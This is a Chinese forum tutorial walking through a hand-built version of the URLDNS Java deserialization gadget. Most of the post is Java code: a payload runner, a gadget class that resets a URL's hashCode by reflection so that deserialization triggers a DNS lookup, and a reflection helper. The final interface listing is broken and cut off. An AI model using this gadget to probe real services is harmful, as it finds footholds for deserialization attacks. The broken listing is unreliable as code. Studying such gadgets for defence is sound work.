再探URLDNS链(手搓exp)

打印 上一主题 下一主题

主题 877|帖子 877|积分 2631

夜深了,想着还需要沉淀自己的基础能力,于是乎没有继续往CC链里爬,通过研究了一下ysoserial里的URLDNS链,决定自己尝试写一个类似却有些差别的exp,使自己的基础更加牢固一些,故有了本日这篇文章。
ysoserial里的URLDNS链我就不再多说,有兴趣的话自己可以去看下面这篇文章的分析
https://www.cnblogs.com/Gcker/p/17805397.html
主要讲一下我自己构建EXP的思绪
首先我是分3个类和一个实现接口来写的,我们首先来看一下执行类
 
这里我们先看一下PayloadRunner类,这个类的主要功能是能够运行实现了ObjectPayload这个接口全部的类。
  1. import com.ObjectPayload;
  2. public class PayloadRunner {
  3.     public static void run(Class<? extends ObjectPayload<?>> clazz, String[] args) throws Exception{
  4.         ObjectPayload<?> payloadInstance = clazz.getDeclaredConstructor().newInstance();
  5.         Object result = payloadInstance.getObject(args.length > 0 ? args[0] : "默认参数");
  6.         System.out.println("执行和返回有效载荷:" + result);
  7.     }
  8.     public static void main(String[] args){
  9.         try {
  10.             run(URLDNS.class,args);
  11.         }catch (Exception e){
  12.             e.printStackTrace();
  13.         }
  14.     }
  15. }
复制代码
  
  首先我先定义了一个run方法,这里接受一个Class对象作为参数,这个Class对象代表了一个实现了ObjectPayload接口的类。这里使用了泛型通配符,表现
可以接受任何ObjectPayload的实现,通过clazz.getDeclaredConstructor().newInstance()创建了接口实现的一个新实例。这行代码使用了反射来寻找无参构造
器并创建对象,当getObject方法被调用时,传入的参数由args数组决定。假如args数组非空,传入第一个元素;假如为空,传入“默认参数”。
  1.     public static void run(Class<? extends ObjectPayload<?>> clazz, String[] args) throws Exception{
  2.         ObjectPayload<?> payloadInstance = clazz.getDeclaredConstructor().newInstance();
  3.         Object result = payloadInstance.getObject(args.length > 0 ? args[0] : "默认参数");
  4.         System.out.println("执行和返回有效载荷:" + result);
  5.     }
复制代码
  
  下面main方法这里,调用URLDNS这个类,也就是URL.class这里,这是ObjectPayload接口的一个具体实现。然后通过一个try-catch块,捕获异常。
  1.     public static void main(String[] args){
  2.         try {
  3.             run(URLDNS.class, args);
  4.         } catch (Exception e) {
  5.             e.printStackTrace();
  6.         }
  7.     }
复制代码
 
  解析来是URLDNS类,这里其实和ysoserial 里面定义的差不多,只做了稍微修改,整体代码如下:
  1. import java.net.URL;
  2. import java.net.URLStreamHandler;
  3. import java.net.URLConnection;
  4. import java.util.HashMap;
  5. import com.ObjectPayload;
  6. public class URLDNS implements ObjectPayload<HashMap<URL,String>>{
  7.     @Override
  8.     public HashMap<URL,String> getObject(String url) throws Exception{
  9.         URLStreamHandler handler = new SilentURLStreamHandler();
  10.         HashMap<URL, String > ht = new HashMap<URL, String>();
  11.         URL u = new URL(null,url,handler);
  12.         ht.put(u,url);
  13.         Reflections.setFieldValue(u,"hashCode",-1);
  14.         return ht;
  15.     }
  16.     private static class SilentURLStreamHandler extends URLStreamHandler{
  17.         @Override
  18.         protected URLConnection openConnection(URL u){
  19.             return null;
  20.         }
  21.     }
  22. }
复制代码
 
  首先定义了接口实现,这里的包主要是进行网络和集合的类,声明了ObjectPayload接口,指示这个类将返回一个HashMap,其中包罗
URL和字符串的映射
  1. import java.net.URL;
  2. import java.net.URLStreamHandler;
  3. import java.net.URLConnection;
  4. import java.util.HashMap;
  5. import com.ObjectPayload;
  6. public class URLDNS implements ObjectPayload<HashMap<URL,String>>{
复制代码
 
  这段代码URLStreamHandler handler = new SilentURLStreamHandler();创建了SilentURLStreamHandler的实例, SilentURLStreamHandler是一
个内部类,用于在创建URL,对象时提供自定义的URLStreamHandler。这个处理器的实现通常会避免进行现实的网络毗连,了解过URLDNS链的师傅们都明白为什么这里
要避免现实网络毗连,这里就不,再说明了,可以看我之前的URLDNS链分析。通过将新创建的URL对象和原始的字符串url映射存储在HashMap中,可以在需要时检索和使
用这些数据。使用Reflections类修改URL对象的hashCode字段为-1,是为了能在URL.hashCode这里,实现DNS请求。
  1. @Override
  2.     public HashMap<URL,String> getObject(String url) throws Exception{
  3.         URLStreamHandler handler = new SilentURLStreamHandler();
  4.         HashMap<URL, String> ht = new HashMap<>();
  5.         URL u = new URL(null, url, handler); // 创建一个URL对象,使用自定义的StreamHandler
  6.         ht.put(u, url); // 将URL和传入的字符串url存储到HashMap中
  7.         Reflections.setFieldValue(u, "hashCode", -1); // 修改URL对象的hashCode字段
  8.         return ht; // 返回包含URL对象和字符串映射的HashMap
  9.     }
复制代码

 
我在这里定义了一个私有的SilentURLStreamHandler类,并重写了openConnection方法,通过上面实例化重写的SilentURLStreamHandler类,确保不进行任何实
际的网络毗连。
  1.     private static class SilentURLStreamHandler extends URLStreamHandler {
  2.         @Override
  3.         protected URLConnection openConnection(URL u) {
  4.             return null; // 防止打开实际的网络连接
  5.         }
  6.     }
复制代码
 
下面我们再来说第三个类
  1. import java.lang.reflect.Field;
  2. public class Reflections {
  3.     public static void setAccessible(Field field){
  4.         field.setAccessible(true);//将字段声明为true,使其可以通过反射访问
  5.     }
  6.     public static Field getField(Class<?> clazz, String fileName) throws NoSuchFieldException{
  7.         Field field = clazz.getDeclaredField(fileName); //获取任意类的声明字段
  8.         setAccessible(field); //调用setAccessible方法设置字段会被访问
  9.         return field; //返回field对象
  10.     }
  11.     public static void setFieldValue(Object obj, String fileName, Object value) throws Exception{
  12.         Field field = getField(obj.getClass(), fileName);
  13.         field.set(obj, value); //修改对象的值
  14.     }
  15. }
复制代码
 
  这里setAccessible(true)是允许在进行反射代码查询和修改的时间,通过这种方式保证在正常情况可以访问私有或受保护字段。
  1. public static void setAccessible(Field field){
  2.         field.setAccessible(true); // 将字段的访问权限设置为可访问,无论其可见性如何
  3.     }
复制代码
 
  getField方法,该方法通过类对象和字段名获取相应的Field对象。假如字段是私有的,这个方法会自动调用setAccessible来修改字段的访问权限,确保后续操作可
以无阻碍地进行。
  1. public static Field getField(Class<?> clazz, String fieldName) throws NoSuchFieldException{
  2.         Field field = clazz.getDeclaredField(fieldName); // 获取类中声明的指定名称的字段
  3.         setAccessible(field); // 确保该字段是可访问的
  4.         return field; // 返回这个字段对象
  5.     }
复制代码
 
  setFieldValue方法联合了上述方法的功能,允许调用者为任何对象的任何字段设置新值,纵然是私有或受保护的字段。
  1. public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
  2.         Field field = getField(obj.getClass(), fieldName); // 使用getField方法获取字段
  3.         field.set(obj, value); // 设置对象的字段值
  4.     }
复制代码
 
最后是接口定义
[code]import org.reflections.Reflections;import java.lang.reflect.Modifier;import java.util.Set;import java.util.stream.Collectors;public interface ObjectPayload {    T getObject(String command) throws Exception;    class Utils {        public static Set

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

水军大提督

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表